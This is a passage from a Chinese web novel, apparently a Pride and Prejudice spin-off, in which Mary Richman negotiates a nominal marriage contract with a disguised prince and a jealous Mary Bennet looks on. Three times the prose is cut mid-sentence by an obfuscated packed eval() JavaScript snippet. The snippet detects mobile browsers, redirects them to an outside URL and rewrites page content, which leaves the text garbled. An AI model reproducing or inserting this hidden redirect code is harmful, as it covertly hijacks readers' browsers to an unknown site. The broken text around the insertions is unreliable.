“你也看到了，我能在很短的时间内查清楚你，查清楚你家里的事，所以这都不是问题。里奇曼小姐，或许你不清楚成为艾提斯太太的好处？”奥克塔维厄斯觉得自己有必要说说。 “成为艾提斯太太后，你可以照样生活在这个小村庄，你可以照样管理这些土地，我不会干涉你。甚至，你不会有生育压力，因为我不需要继承人。” “听起来，做您的妻子很简单。但是艾提斯先生，您刚刚说了，您的父亲要给您安排妻子。”玛丽阻止对方继续说下去，因为看着这张脸，再听着这些话，她多少还是受到了影响。 没办法，她就是一个普通人。就算她知道这个送上门来的男人有目的，但也不妨碍她趁着现在欣赏一会儿。 看够了，就该拒绝他。 天上不会掉馅饼，即便是掉下来了，也不会掉到她头上。玛丽一向务实，她知道该怎么做。 “艾提斯先生，我就是个乡下女孩，没有见过大场面，应付不来太复杂的事情。很抱歉，让您白走一趟了。”至于抵押合同，她看都看了，对方也说这是单方面调查她的赔礼。 虽然没有明确说，意思就是这个意思。 既然这样，玛丽也不会再还回去。怎么处理里奇曼先生留下来的烂摊子，这份合同还是挺关键的。 “不，我没有白来。”奥克塔维厄斯并没有在被拒绝后直接走人，他现在对这位里奇曼小姐更感兴趣了，“先别急着说‘不’，你的新问题在我看来并不复杂。” 男人继续走近，停在了两步外。 “里奇曼小姐，我的父亲虽然强势，但我这些年就没听过他的。他说他的，我做我的，多年来我们谁也没有让步。” “至于你说的大场面，这么多年来我一向是缺席的，那么身为我的妻子，当然也可以不去。”看，问题解决了。 奥克塔维厄斯很想知道，眼前这位里奇曼小姐还会有拒绝的理由吗？没关系，有的话他一个个应对过来。 听起来是个复杂的大家庭，家庭成员之间的关系估计不怎么样，玛丽更不愿意掺和进去。但显然，这位先生不是那么容易放弃的。那好，那就换个方向来结束这件事。 “这些事情在艾提斯先生您看来，都是小事。可是找丈夫对现在的我来说，却是一件必须慎重的事。” “您也知道我的父母都离开了，所以我要找的丈夫必须是一个可靠的人。不，我没说您不是，但您对我来说太陌生了，我没办法和一个只见过两次的人结婚。” 这只是其一，玛丽还没说完。 “我曾经想过我的丈夫会是一个什么样的人，他或许不够富有，不够英俊，不是贵族，也不是大地主。但他会是一个踏实的人，会帮我一起照顾这200英亩土地，而不是和我的父亲里奇曼先生一样总向往过于繁华的伦敦。” “艾提斯先生，我想要的是一个留在这里的丈夫。”太过漂亮的艾提斯先生，显然不会留在这里。 “哦，这倒是有点难住我了。”奥克塔维厄斯幽蓝色的眼睛眨了眨，人有了一刹那的迟疑，“我确实没想过住在这里，不过既然你提了，我觉得也不是不能做到。” “里奇曼小姐，你不是说我们不熟吗？那接下来的几天，我就留下来让我们互相更了解。” “嘘，我需要一个妻子，你需要一个丈夫，为什么不试着了解一下呢？或许，我们会很适合。”就这么说定了，他要留下来！ 看着胖管家带着一直没进来的仆人忙进忙出，玛丽都不知道说什么好！哪有人这么强行要留下的，她这个主人都没同意呢？！ 结果，艾提斯先生身边的人已经帮着搬东西了，好几个箱子都已经搬到了二楼的客房里。 就这种行为，他怎么会合适？ 玛丽没赶人，她也赶不了人。她算是看出来了，这位先生赖上她了，可能就因为她的拒绝。 也是，像他这样的人，估计活了这26年，都没被什么人拒绝过。所以，这会儿才会委屈他自己住进那个不大的客房里。 “里奇曼小姐，在想什么？觉得我的做法不尊重你这个主人吗？”上楼挑好了客房，剩下的事情就交给管家去做。奥克塔维厄斯下楼来，看到了坐在那里喝茶的人。 她在想什么，很容易猜到的。 玛丽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723179|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想说话，她甚至不太想理人。 也是到了这时候她才知道，原来这个男人来的时候是带了人的。除了胖管家外，他还带了4个仆人，这还不算在外面的车夫呢！ 既然都知道了她在想什么，就不该坐到旁边，还给他自己倒起了茶！ “这茶的味道很奇怪，刚喝下去的时候有点不适应，现在好多了。”奥克塔维厄斯当然知道自己的行为在别人眼里代表着什么，可他从小到大都是这么过的，不会去考虑他之外的其他人的想法。 当然，里奇曼小姐暂时例外。如果她能同意的话，她能得到更多。 “或许我的做法确实有点冒昧，但你只要想一想明天，就不会觉得我留下来是一件不好的事。明天你去伦敦的时候有我陪着你，事情就会顺利解决。那些该你父亲承担的，都不会需要你来承受后果。” 怎么样，知道他的好处了吗？ 玛丽看了人一眼，她都没想到这人还要跟着去伦敦！ “既然我们要相互了解，这几天我当然要跟着你。里奇曼小姐，你放心，我只帮忙，不捣乱。”他保证。 奥克塔维厄斯说完又喝下了一口茶，喝着喝着，还挺能入口的。又醇又香，和明显不想搭理他的里奇曼小姐还有点像。 “希望你说到做到。”玛丽一听明天的事，态度就没有那么强硬了。至少，等明天事情解决了再说。 对方都能拿到抵押合同，说不定真能帮上忙。她虽然不怕承担里奇曼先生留下来的债务，可如果能无事一身轻，谁愿意白白搭进去呢。 至于留人住宿这件事，最多也就在朗伯恩和梅里顿传传。 对方不肯走，她还能怎么办？里奇曼先生和里奇曼太太都跑了，她的名声不会再坏到哪里去！ “我说话算话。”奥克塔维厄斯总算是得到了一句回应，他居然觉得挺开心的，真是奇怪的情绪。 他看着里奇曼小姐放下茶杯离开，就这么看着人走远。等明天的事情处理好，他还有两到三天的时间留下来，希望能在这几天里把事情定下来。 不然，他可能要采取一些这位小姐不会喜欢的方式。谁让这么多人挑下来，就一位里奇曼小姐能让他上门拜访呢！ 拜访下来，奥克塔维厄斯更加满意了。 里奇曼小姐没什么野心，也不在乎他的脸，更没问他家里的事情。这样的妻子，就是他需要的。 他能自己找妻子的时间截止到明年6月5日27岁生日前，还有8个月不到。他要加快速度了，前面浪费了太多日子。 “殿下——” “又忘记了，在外面别叫我这个。”再次听到管家威廉叫错称呼，奥克塔维厄斯摆摆手，“威廉，我得让里奇曼小姐在这几天答应下来，你帮我想想办法。” 目前为止，那位小姐还没有要答应的意思。明天去了伦敦后或许会好一点，但不能保证什么。 “那么多人等着您点头呢，您偏偏谁也不选。”胖管家对于目前的发展，还是不太满意的。虽然说这件事是国王陛下和殿下两人之间的事，可拿婚姻做赌注，也太不谨慎了。 一个破产银行家的女儿，怎么可能成为一位受人尊敬的公爵夫人呢？ “那些人你之前不是一个也看不上吗？威廉，你觉得里奇曼小姐不好？可我偏偏觉得，这位小姐再好没有了！”剑桥公爵奥克塔维厄斯王子有自己的衡量标准。 5. 第 5 章 走出家门，玛丽随便走走。家里有人在，她无法冷静下来好好想清楚。 那位艾提斯先生说得很明白，他只是想要一个妻子，一个可以留在这里，且不用生孩子的妻子。听起来，确实挺让人心动的，如果不去想他的大家庭的话。 但事情真会如他所说，什么问题都不会有吗？ 哼，玛丽还没单纯到就这么信了一个陌生人。 明天去伦敦，她大概能猜到一切会顺利。有了那份抵押合同后，那么后续的事情都应该是巴林银行来接手，跟哪一个里奇曼都没有关系了。明天去，不过是为了履行稍早前在梅里顿答应下来的。 等这件事办好，玛丽可以好好想想以后。没有了里奇曼先生的年年亏损，她一年挣个1000英镑甚至更多，都不是问题。 问题是赚到了钱，她一个年轻的单身女性，该怎么保住钱的同时又保住自己？ 找一个名义上的丈夫，签好严格的婚前协议，这是一条路。但这个人不能是艾提斯先生，嗯，真的不能吗？ 玛丽绕到了那辆马车前，车夫不在位置上。 她仔细绕着马车走，这一看下来，她就知道艾提斯先生是个有钱人。眼前的马车尽管看着朴素，没多少额外的装饰，可仅有的那些用料就能看出来，这不便宜。 普通的豪华马车轮毂都是用木头的，只有特别有钱的人家才会用上黄铜等金属。 或许玛丽该去班纳特家里看看，达西先生坐的马车都是怎么样的。这样，她就能有一个大致的判断。 “玛丽——”玛丽·班纳特急匆匆地跑来，她简直不敢相信自己听到、看到的事！ 里奇曼先生破产并逃亡已经让人不能相信，结果另一个玛丽居然还在家里藏了一个英俊的未婚夫？！ 哦，这不是真的！ “玛丽。”从马车上收回目光，玛丽看向了和自己同名的人。看对方的样子，消息应该已经传开了。 “玛丽！我们前天才见过，你怎么没说你订了婚？”玛丽·班纳特上前，直接抓住了另一个玛丽的手，“天哪，这是一件大事，也是一件值得高兴的事，你该告诉我的！” “你准备什么时候结婚？丽兹的婚礼就在下个月，简的婚礼在明年的社交季开始。如果你的婚礼也定好了时间，我得赶紧回去准备礼服了——” 玛丽·班纳特一口气说完，期间她的目光就没有离开过身前人的脸。妈妈说了，如果她也想找到一个好丈夫，她得学会像简一样为别人着想，也得学着像丽兹一样聪明。 她在努力了，所以她没把嫉妒摆在脸上，而是让自己笑出来，让自己只剩下惊喜！ 玛丽刚听明白这位玛丽说的话，她就看到了本应该在家里的艾提斯先生正走过来。 这么一来，她就懂了。原来刚刚班纳特家的三女儿已经见过他，怪不得她会突然说出这些话。 “玛丽，你误会了——”没等她说完，班纳特也听到了有人走近。 她一回头看到人，第一反应居然是跑掉？ “别这么看着我，里奇曼小姐。我可没做什么，更没有说什么。刚才的那位小姐没受到邀请就进来了，看到了我在里面喝茶。” 奥克塔维厄斯见多了这样的女孩，她们大胆些的会主动上前展示自己，胆小些的也会远远站着不肯离去。像是这样鲁莽的，失去礼节的，算是少数。 既然这人自己不认识，那么对方肯定是里奇曼小姐认识的人。里奇曼小姐认识的人不算多，基本都在朗伯恩和梅里顿。 刚发生了里奇曼先生破产的事，加上了那位小姐没有掩饰好的表情，奥克塔维厄斯基本能猜到人是来干什么的。就算没猜准，也不会偏到哪里去。 咳咳，偏差还是有一点的。那位小姐竟然直接认定了他是里奇曼小姐的未婚夫，还问两人的婚礼举办时间呢！ 这要是里奇曼小姐之前都答应了，他听听没什么。但既然没答应，这个话题就不适合继续下去。 所以，奥克塔维厄斯走了出来。 “艾提斯先生，你既然有能力从巴林银行那里拿到抵押合同，也用得起黄铜的马车轮毂——”等到另外一人跑远，玛丽这才看向走来的人。之前的注意力都在那张脸上了，倒是忘了看人的仪态。 目前看下来，艾提斯先生显然受过很好的礼仪教导。这么简简单单几步，他走得随意，却也透露着他的好气质。 玛丽改变了想法，也有一些事要问清楚。 “我想知道，成为你的妻子，除了能留在这里，还不用生孩子之外，有别的好处吗？”玛丽说得更加明白一点，“毕竟现在的大多数婚姻，婚后女方除了能保有自己的嫁妆外，其他的一切包括这个人都是属于丈夫的。” “艾提斯先生，你也是这么认为的吗？” “你都这么问了，我肯定不能点头。”奥克塔维厄斯不知道为什么短时间内里奇曼小姐的态度变了，但这不妨碍他给出答案，“我说过，我只是需要一个妻子。更具体一点，我需要有人来占住我妻子的这个位置。” “里奇曼小姐，都说到这里了，我们可以继续往下说。你有什么要求，我能答应的都会答应。” 重新回到客厅，两人面对面坐下来。 “那我就不客气了，艾提斯先生。”都选择了坐下来，玛丽当然要问详细，“假设我们结婚了，那么我们的婚姻是事实婚姻，还是名义婚姻？”这点很重要，确定下来了其他的事情才有的谈。 “嗯，这个需要看情况。”奥克塔维厄斯没想到里奇曼小姐还挺直接，他得想想要怎么说才更加委婉一点。 这个问题还需要犹豫吗？玛丽还以为这位先生面对什么都能很快给出答案。 “不瞒你说，如果不是我父亲要我结婚，我这一生结婚的可能几乎没有。”奥克塔维厄斯以这句话开头，“在我人生的规划里，我从没给妻子留出位置。”他直说了。 现在事情有变，他又是怎么打算的？ “等一下，我需要确定一下，你不喜欢男人吧？”玛丽打断，所有的可能性她都需要想到。 “不，我都不喜欢，没有冒犯的意思。”奥克塔维厄斯停顿了两秒，这才接上了话。在心里，他稍稍改变了对里奇曼小姐之前的看法。 听听她现在说的话，哪一句都不在意料之内。 “那就是说，假设结婚了，这会是一场名义婚姻。”这样的话，玛丽很能接受。 “可以是名义婚姻，但未来如果我们都改变了想法，那也可以是事实婚姻。”见多了事情的变化，奥克塔维厄斯没把话说死。 “要是这样，我需要在结婚合同里加入更多的条款，假设我们结婚的话。”性质变了，事先说清楚总比之后后悔来得好。 “可以，你都可以列出来。” 直到客厅里点起了烛灯，两人的对话还没有结束。 “挺晚了，先用餐吧。剩下的，明天从伦敦回来后再说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723180|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”玛丽看到了胖管家出现，也看到了他身边站着茉莉，“我平时吃得简单，希望艾提斯先生不要介意。”预防针还是要打好的。 结果到了餐厅，玛丽都以为自己走错了地方，这还是里奇曼家的餐厅吗？ 也不知道点了多少烛灯，这儿看上去就跟白天没两样。还有，她家深色的实木餐桌铺上了绸缎般的桌布，上面更是摆了一整套精致的银餐具。 “家里突然变得贵气了，我还挺不习惯。”这么说了以后，玛丽就直接走过去拉开椅子坐下。 又不是没见过更大的场面，这点算什么。再说了，都没结婚呢，她能说什么。就算是结婚了，她都不会说什么。只要不是用她的钱，她不会心疼，也不会干涉！ 所以等接下来上来一道道不知怎么来的食物，玛丽都没再发表看法。喜欢的就吃，不喜欢的就别碰，填饱自己的肚子才是最重要的。 管家威廉对于自己的安排还算满意，殿下选的人普是普通了一些，但餐桌礼仪勉强过得去。等以后真结婚了，好好练习就能跟上。 两人在客厅里待了那么长时间，期间他虽然没有进去过，可也看到了两人面对面讨论的情景。 那场景更像是交易，奇怪的是，里奇曼小姐并没有一味地退让。这显然不是一个合格的妻子做的事情，然而殿下没有意见，他能说什么。 “威廉，撤了吧，以后在这里不用这样。”晚餐用完，奥克塔维厄斯跟自己的管家交代了一句。 他本来在餐前就想这么说的，只是里奇曼小姐嘴上说着不习惯，坐下的速度却一点也不慢，他就吞下了那句话。 “其实偶尔体验一下也不错，我还挺期待明天的早餐。”经过的玛丽听到了，向胖管家点了一下头。对方能在这么短的时间内布置出来，挺厉害的。 “乐意为您效劳，里奇曼小姐。” “今天就先这样吧，明天见。”真是充满了戏剧性的一天，玛丽道了晚安后，直接上楼回了自己的房间。 进去，先锁门，锁完门还得插上栓，然后再用抵门柱依次抵住门背后的几个角。年轻的女性一个人生活在小村庄里，总是要多做防范的，她不喜欢等出了事再来后悔。 玛丽检查完门窗后，做了简单的洗漱，这才躺到床上复盘今天的事。尤其是发生在客厅里的讨论，她得确保自己已经提到的事情没有遗漏。 艾提斯先生说，两人之前的婚姻可以是名义上的。他也答应了一旦开始事实婚姻，双方都必须对彼此忠诚。一方违背，那么另一方就可以提出离婚。 财产上，玛丽要求分割清楚，不管是婚前的还是婚后的，都需要没有异议。她不会觊觎，他也不要看上她的那些钱。 当然这一点，两人暂时没达成一致。 艾提斯先生坚持要给生活费，未来还会涉及一些珠宝什么的，玛丽没有同意。 但玛丽暂时还是满意艾提斯先生这个可能的丈夫人选，至少说到这里为止，她挑不出来什么毛病。 就是搭伙过日子，要求别这么高。人长期不在这一点，在她看来甚至可以是优点！ 行了，其他的事情就明天再说吧。 玛丽摸了摸手边的弓箭，这才安心地吹灭了烛灯。 几墙之隔，奥克塔维厄斯有点睡不着。倒不是这里的床不好，被子不够软，他再差的地方都住过。 他就是在想，为什么里奇曼小姐要分得那么清楚呢？明天起来，必须好好问问。 6. 第 6 章 第二天朗伯恩天气不是很好，玛丽起来后就先去了土豆地里。正是农忙的时候，这要是下雨了，会很耽误事。 “老约翰，人手够吗？不够的话，你再找几个短工来。”尽快收上来尽快卖出去，这一年的事才算是少了一件。 “够的够的，剩下的也没多少了，今天能收完。”老约翰站在田埂边，看着地里正在忙的人，“玛丽，那位先生很早就过来了，你叫他回去吧。”他指了一下正在装土豆的那位。 “谁？”玛丽顺着看过去，一下子没认出来老约翰说的是谁。 “就是昨天来的那位客人，艾提斯先生。” 艾、艾提斯先生？那是他吗？玛丽很努力看了，她还是没看出来一身短工打扮的人会是昨天才见面的艾提斯先生！ “艾提斯先生——”看不出来没关系，叫一声总会回头的。 然后，玛丽看到了一个续着短须的男人抬头，他跟那让人惊艳的艾提斯先生一点关系也没有！ “早上好，里奇曼小姐。”奥克塔维厄斯当然看到了这位小姐脸上的表情，他走近后马上就解释，“我喜欢体验不同的生活，这样才不会太无聊。怎么样，还不错吧？” “说实话，我没有认出来。要不是你自己回头，我都不敢认。”怪不得当初扮演偷面包的贼那么像了，除了衣着打扮疏漏外，当时的艾提斯先生跟小偷小摸的贼没什么两样。 换到现在，也是一个道理。刚才的那一瞬间，玛丽看到的就是一个短工的背影。 看看他弯腰下背的模样，还有他脸上的胡须，再加上他身上穿的粗布衣，这下好了，连衣服鞋子也都没有了破绽！ “这就好，这说明我的扮演还是成功的。”奥克塔维厄斯没有深入解释自己这么做的原因，他走在旁边，说起了别的事。 至于他昨晚想问的，他在土豆地里已经得到了答案。 “里奇曼小姐，我想了想，有关于生活费等问题，就按照你说的来。当然，要是你需要，未来你作为艾提斯太太，是可以支取一部分金额的资金的。”这一点，也可以写进结婚合同里。 “艾提斯先生，一会儿我们正好要去伦敦。等事情解决后，一起去一趟律师事务所，怎么样？”协商再好，也不如通过律师来起草正式的合同好。加入了见证人，她也更加放心点。 “如你所愿。” 这天的早餐很家常，和玛丽平时吃到的没什么两样，显然艾提斯先生昨晚的话很管用。虽然少了一份“惊喜”，但这样的生活才是正常的。 “里奇曼小姐，坐我的马车去吧。巴林银行作为伦敦最大的私人银行，他们的处事方式你应该也有所听闻。”用餐前，奥克塔维厄斯已经换回了自己原来的样子。 此时的他正伸出手，期待着也换上了外出服的里奇曼小姐能接受他的邀请。 这位小姐长得也不差，一身浅灰色的格子裙让她看起来健康又轻快，那束腰和大裙摆一点没限制她的行动。这不是说里奇曼小姐走起路来不好看，不，她一举一动都很自信，没一点拘束。 奥克塔维厄斯还是有点惊讶的，她看起来太轻松了！ “谢谢，那我就不拒绝了。”玛丽伸出手，在接触到男人手掌心的那一刻，她还是有点后悔没戴上手套。 那是一种完全不同的触感，带着人体的温度，也带着比她还要保养好的细腻。被一双男人的手比下去，玛丽多少还是觉得有点惭愧。 幸好，这接触的时间并不长。 她被一股力拉上去，人已经坐在了马车上。如果说这辆马车的外面用料是昂贵的，那么马车里面的布置看起来更贵了。单单是座位的舒适度，就不是里奇曼家的轻便马车可以比的。 从朗伯恩去伦敦，玛丽几乎知道这一路的颠簸程度。然而坐在这辆马车上，她感受不到多少。 更何况，这马车里面的空间也很大，再坐下3个人也是没问题的。现在只坐了两个人，多少有点浪费，也有一点尴尬。 “艾提斯先生，麻烦一会儿在梅里顿停一下，我得叫上几个人。”这是昨天说好的，梅里顿会派出代表一起前往，班纳特太太的妹妹菲利普斯太太就是其中一位。 “我知道，你之前说过了。”奥克塔维厄斯没忘记这一点，他也看出了里奇曼小姐这会儿多少有点紧张。 嗯，和刚才她一路走来的样子相比，算得上是紧张的。这也不奇怪，自己的这张脸是什么样的，他知道。 奥克塔维厄斯也不提醒，以后多见见就好了。 1英里的距离并不长，马车很快就驶到，梅里顿到了。玛丽刚要下去，手就被抓住。 “威廉会处理好的，你等着就行。”奥克塔维厄斯很快就放开了自己的手，“抱歉，我的动作快了点。”他不是故意的，有时候身体反应太快，也不是什么好事。 “没事。”玛丽收回了盯着自己手的目光，顺便也收回了自己的手。她看向马车外，忽略身后靠得过于近的人。 好在，那人稍后就回到了自己的位置上。 呼——她难道还期待发生什么吗？ 真是疯了，玛丽稍稍冷静了一下。都是那张脸惹的祸，她不看就好了。 在胖管家的带领下，菲利普斯太太和其他人很快就到了，大家自备了马车，就这么跟着一起去伦敦。 巴林银行在明辛街，玛丽只听说过，没去过。虽然这地方离原来的里奇曼私人银行不远，但一个是在主干道，一个还得专门绕进去。 到了齐普赛街主干道后，右转再向东，才是巴林银行的所在地。 沉默了一路，奥克塔维厄斯在马车停下后，才重新开口说话。好不容易找到一个合适的妻子人选，他不想因为一些小事就让情况变得更加复杂。所以里奇曼小姐没有说话的意思，他也就尊重她。 “请稍等。”他从自己的一边下了马车，然后绕到了另一边，“里奇曼小姐，那些都是认识你的人。你突然冒出一个未婚夫甚至是丈夫，这些人总是会有疑问的。” “第一次的见面，我们换个说法怎么样？”奥克塔维厄斯再次伸出手，提出了自己的建议。 里奇曼小姐既然还要生活在朗伯恩这个小村庄，那么事情肯定有人会问。今天可以不说，但两人的说辞总要有一个。 玛丽也看到了菲利普斯太太好奇又震惊的目光，她把手放进艾提斯先生的手里，借着他手上的力气稳稳地下了马车。 “可以，但先解决了这件事再说。” 一行人走进巴林银行，银行里的工作人员看到了抵押合同后，就带着人进去了专门的接待室。 “里奇曼小姐，你想知道什么？”一个自称经理的人进来，说这件事他负责。 “你好，我想知道以后所有关于里奇曼私人银行的事情，都是由你们巴林银行来接手吗？包括原来的存贷款等所有业务。”当着菲利普斯太太几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723181|173925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的面，玛丽问得很清楚。 “没错，你的父亲里奇曼先生将银行抵押给我们了，我们自然接手原来银行里面的所有业务。” “菲利普斯太太，您听到了吗？以后你们的存款，就来这边支取。”事情就是这么简单。 “哦，好。”既然存款还在，菲利普斯太太当然没有问题。 她现在更加好奇里奇曼身边出现的男人是谁？ 可惜，没有人告诉她答案。这边的事情问清楚后，里奇曼就带着人离开了。 离开的两人直奔附近的律师事务所，说要起草一份结婚合同。委派律师还从没见过两个当事人一起过来的，结婚合同这种事情，不都是家庭律师的事吗？ 看起来，两人也不像是请不起家庭律师的人。 好吧，在听完了这一对的诉求后，不找家庭律师的理由也有了。这根本就不是结婚，是两个陌生人各自需要一个婚姻。关起门来后，大家各管各的互不干扰。 “草稿写好了，你们看一下。”男方的要求女方的要求都写上了，需要删改的现在说。 一条一条看下来，玛丽都挺满意的。她只需要成为艾提斯太太，其他的事情不会变。 奥克塔维厄斯也挺满意，妻子的人选有了，他就能去做自己喜欢的事！ “我没有意见——” “挺好的，我没有——” 几乎同时看完，两人也同时开了口。 “既然你们都没有意见，那么我就出具正式的合同了？”律师再确定一下，他见两人都点头，就叫专门的记录员进来记录这份合同。 半小时后，这份新鲜的结婚合同出炉。 “一式两份，你们签了名后各自保管一份，然后就可以去教堂结婚了。” “谢谢，我们会的。”玛丽拿起了其中一份，“那律师费，我们就按照合同里说的，各自平摊？” “行，你付你的，我付我的。”奥克塔维厄斯不在这些小事上纠缠，他直接叫了等在门外的威廉，让他进来付钱。之后，也把合同交给他，让他保管。 事情进行得很顺利，比他预想的时间还要短。只要两人找个教堂结了婚，他的麻烦就没有了！ 可是，奥克塔维厄斯总觉得有点不对。里奇曼小姐答应得这么干脆，是不是只想他快点离开？毕竟在之前他都说了，他能留在朗伯恩的时间并不长。 自己要离开，和被人赶着离开，那是完全不同的两种感受。现在，他就觉得有一种被驱离感。 “伦敦的教堂不好预约，要是不嫌弃的话，我们就在朗伯恩的小教堂举行婚礼。你觉得怎么样，艾提斯先生？”走出律所，玛丽正好看到了不远处的教堂。 “可以。”在管家威廉阻止前，奥克塔维厄斯已经答应了下来。他知道威廉要说什么，但没有关系，后续的事情他会办好的。 既然里奇曼小姐只需要一个名义上的婚姻，那么其他的事，她也没必要知道。知道了，也帮不上什么忙。 当朗伯恩的驻堂牧师知道了这件事，那么整个朗伯恩都知道了。 玛丽·班纳特不想嫉妒的，可是那张脸，那张脸已经深深地印在了她的脑海里。她多希望那是自己的丈夫，而不是别人的。 凭什么？里奇曼她凭什么？！ 她的父亲都破产了，她的父亲都跑掉了，凭什么里奇曼还能得到这么优秀的男人！ 不，这不是真的！ 7. 第 7 章 临近婚期，这是伊丽莎白·班纳特在家里的最后一段时光。她很享受婚前的自由，也很期盼婚后的生活。想到未来自己可以慢慢欣赏彭伯利庄园的每一个角落，她就希望婚礼快点到来。 “砰——”隔壁妹妹们的房间里传来的一声重响，打断了她的畅想。 “玛丽，你在干什么？”比伊丽莎白动作更快的，是她已经结婚的妹妹莉迪亚。 莉迪亚不用背负私奔的名声后，就带着丈夫回来了。尽管未来的两个姐夫都有钱，但他们一个都比不上她的丈夫俊美！玛丽这个书呆子肯定是想到了这些，所以才气得砸东西。 “哦，可怜的玛丽！乔治认识不少不错的军官，让他帮你介绍一个丈夫吧，免得你在家想不开。” “谁稀罕！但愿你的威克汉姆能一直喜欢你！”说起俊美，莉迪亚的丈夫能有里奇曼家里的那个男人美吗？ 那男人一看就不简单，他既比莉迪亚的丈夫威克汉姆长得好，也比丽兹的未婚夫达西先生有气势。如果说达西先生对别人是冷冰冰的，那么那位先生一眼看过来，就让人不敢再近一步。 要不是当时被吓住了，她一定会过去认识一下！ 现在，什么好事都被里奇曼抢走了！ “乔治当然会一直喜欢我，玛丽，你就是嫉妒我！”莉迪亚在家里的时候一向是最受宠的，她怎么能忍受书呆子玛丽诅咒她！她得让妈妈来评评理，玛丽就是见不得她好，哼！ “妈妈——” 班纳特太太正在接待自己的妹妹菲利普斯太太，从她嘴里，她知道了里奇曼先生和里奇曼太太消失的真相，也知道了被留下来的里奇曼小姐身边有了一个出色的男人。 “真有这么好？比我的女婿们还让你震惊？！”她的女婿们要长相有长相，一个是军官，一个年收入5000英镑，还有一个年收入更是直接来到了1万英镑！ “你知道伦敦的巴林银行吧，那是只有有钱人才能去的地方。你猜，我们是怎么进去的？”菲利普斯太太刚下马车时见到了人，已经够震惊的。结果呢，进了巴林银行才知道，出现在里奇曼小姐身边的男人有多厉害。 他甚至自己都没有出面，只是他的管家过去说几句话，一行人就被带去了专属的接待室。就连后续出现的经理，听说平时也只接待贵宾客户。 “你要是看到了人，你就会知道我的感觉。”菲利普斯太太摆摆手，反正她形容不出来。 “妈妈——”没等班纳特太太想象这么一个人出来，她的小天使莉迪亚就从楼上跑着下来，直接扑进了她怀里！ “哦，妈妈的莉迪亚，你又怎么了？”16岁的莉迪亚还是个孩子呢，肯定是她的姐姐们又惹她难过了。班纳特太太抬头看向门口，她要看看谁是那个惹哭莉迪亚的人。 “妈妈，玛丽嫉妒我。她不但嫉妒我，她还嫉妒简和丽兹，她嫉妒我们都找到了一个好丈夫！”没等人出现，莉迪亚就先告状了，“刚刚，她就当着我的面砸东西，差点就砸到了我！” “玛丽——玛丽——你给我过来——”班纳特太太一听小女儿的话，就忍不住提高了嗓音叫人。玛丽自己长得不漂亮，去年尼日斐庄园的舞会一场接着一场，她都没能让人记住她！ 不，还是有人记住了她，记住了她的笨拙和固执！ “妈妈，你别吼我——”被吼过来的玛丽出现在了门口，她就站在那里不动，“都是你的女儿，你为什么只听莉迪亚的？我只是想找一个丈夫，我有什么错？！” “可惜，一切都来不及了，我看上的人就要成为别人的丈夫。” “等等，你看上了谁？”班纳特太太只听到了自己想听的，她怎么不知道玛丽有了喜欢的人？放开怀中的莉迪亚，她赶紧走到门口。 “亲爱的玛丽，告诉妈妈，你看上了谁？这是什么时候的事情？”她的第4个女婿也有了吗？ 听着妈妈温柔的声音，玛丽·班纳特再也忍不住哭起来。都晚了，那位先生要和里奇曼结婚了，驻堂牧师那边就是这么说的，两人连小教堂都预定好了。 见人哭得这么伤心，莉迪亚收起了难过，和过来的姐姐们帮着一起问这人到底是谁。 “里奇曼小姐身边的那个男人？！”没走的菲利普斯太太听了，她很意外玛丽会看上对方。不过一想，这又很正常。 只是，不是她看不起自己姐姐的女儿，如果这个人换做是简或者是丽兹，她们成功的可能性还有一些。换成玛丽，哼，那样的男人怎么会看上她？ 倒是里奇曼小姐走在那先生身边，一点没让人忽略。当时她可是亲眼看到了那位先生伸手接里奇曼小姐下的马车，之后，两人更是并排走进了巴林银行。 这一路，里奇曼小姐都没因为身边的人露出一点惭愧。她正常走路，让人觉得这样的场面都不算什么，即便她身边的人惊艳了所有人。 就好像昨天，里奇曼小姐的马车被人围在了梅里顿一样。她一点不慌，甚至在了解了事情后，及时提出了解决办法。到了今天，她更是带着人去了巴林银行，很好地解开了大家心里的疑惑，也抚平了大家内心的慌张。 听着玛丽说她是昨天才见到的人，还是在里奇曼家里见到的人，菲利普斯太太摇摇头，人家都要结婚了，她这时候看上有什么用？就算别人没结婚，她看上也没用啊！ 不过，里奇曼小姐和那位先生的婚礼怎么会在朗伯恩的小教堂举行呢？挺奇怪的。 奇怪归奇怪，婚礼那天，整个朗伯恩甚至是梅里顿的人都赶来了。虽然没受到邀请，但小教堂是开放的，大家看不到婚礼，看到人总没有问题。 和菲利普斯太太一样，去了伦敦的人回来后，总是避免不了要提起那位神秘的先生。听说这位先生就要娶朗伯恩的里奇曼小姐，听说了的人总要过来看看，看对方是不是和大家说的一样。 